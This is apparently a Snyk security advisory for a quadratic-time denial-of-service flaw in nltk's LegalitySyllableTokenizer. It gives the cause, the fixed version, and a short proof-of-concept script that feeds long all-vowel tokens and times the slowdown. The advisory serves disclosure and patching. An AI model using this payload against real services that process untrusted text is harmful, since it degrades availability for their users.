Inefficient Algorithmic Complexity Affecting nltk package, versions [3.6,3.10.4)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.51% (45th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-NLTK-22549711
  • published14 Nov 2026
  • disclosed13 Nov 2026
  • creditzx, Daniel Coles

Introduced: 13 Nov 2026

NewCVE-2026-126301  (opens in a new tab)
CWE-407  (opens in a new tab)

How to fix?

Upgrade nltk to version 3.10.4 or higher.

Overview

nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via LegalitySyllableTokenizer.tokenize in nltk/tokenize/legality_principle.py, which contains an unguarded O(n²) processing loop. The method walks the token in reverse and, on every iteration after the first vowel is seen, evaluates the membership test char_lower + current_onset[::-1] in self.legal_onsets. Because legal_onsets is provably vowel-free, the reset branch that would clear current_onset is never reached for an all-vowel token, causing current_onset to grow by one character per iteration. Building current_onset[::-1] and hashing the resulting string costs O(k) on iteration k, giving total O(n²) CPU work. An attacker who can supply an untrusted token - for example a long run of vowels - to this public API can saturate a CPU core for a prolonged period, degrading availability of any service that syllabifies attacker-controlled text.

PoC

Requires only the released nltk package; no corpus download is needed because the quadratic behavior is driven entirely by the attacker token, not by the size of the legal-onset set.

  1. Construct a tokenizer with any small onset source.
  2. Call tokenize with an all-vowel token of increasing length and time each call.
  3. Compare against a consonant-alternating control token of equal length.
import time
from nltk.tokenize import LegalitySyllableTokenizer

tok = LegalitySyllableTokenizer("tr c d".split()) # tiny 3-word onset source for n in (8000, 16000, 32000): payload = "a" * n start = time.perf_counter() tok.tokenize(payload) print("vowel-run", n, round(time.perf_counter() - start, 3))

control = "ba" * 32000 # equal-length linear control start = time.perf_counter() tok.tokenize(control) print("control", 64000, round(time.perf_counter() - start, 3))

vowel-run 8000 0.031
vowel-run 16000 0.120
vowel-run 32000 0.468   (about 4x per doubling => O(n^2))
control 64000 0.004     (linear, roughly 130x faster at larger size)

Note: Requires only the released nltk package with no corpus download, using a three-word onset source and all-vowel tokens of lengths 8000, 16000, and 32000 characters.

CVSS Base Scores

version 4.0
version 3.1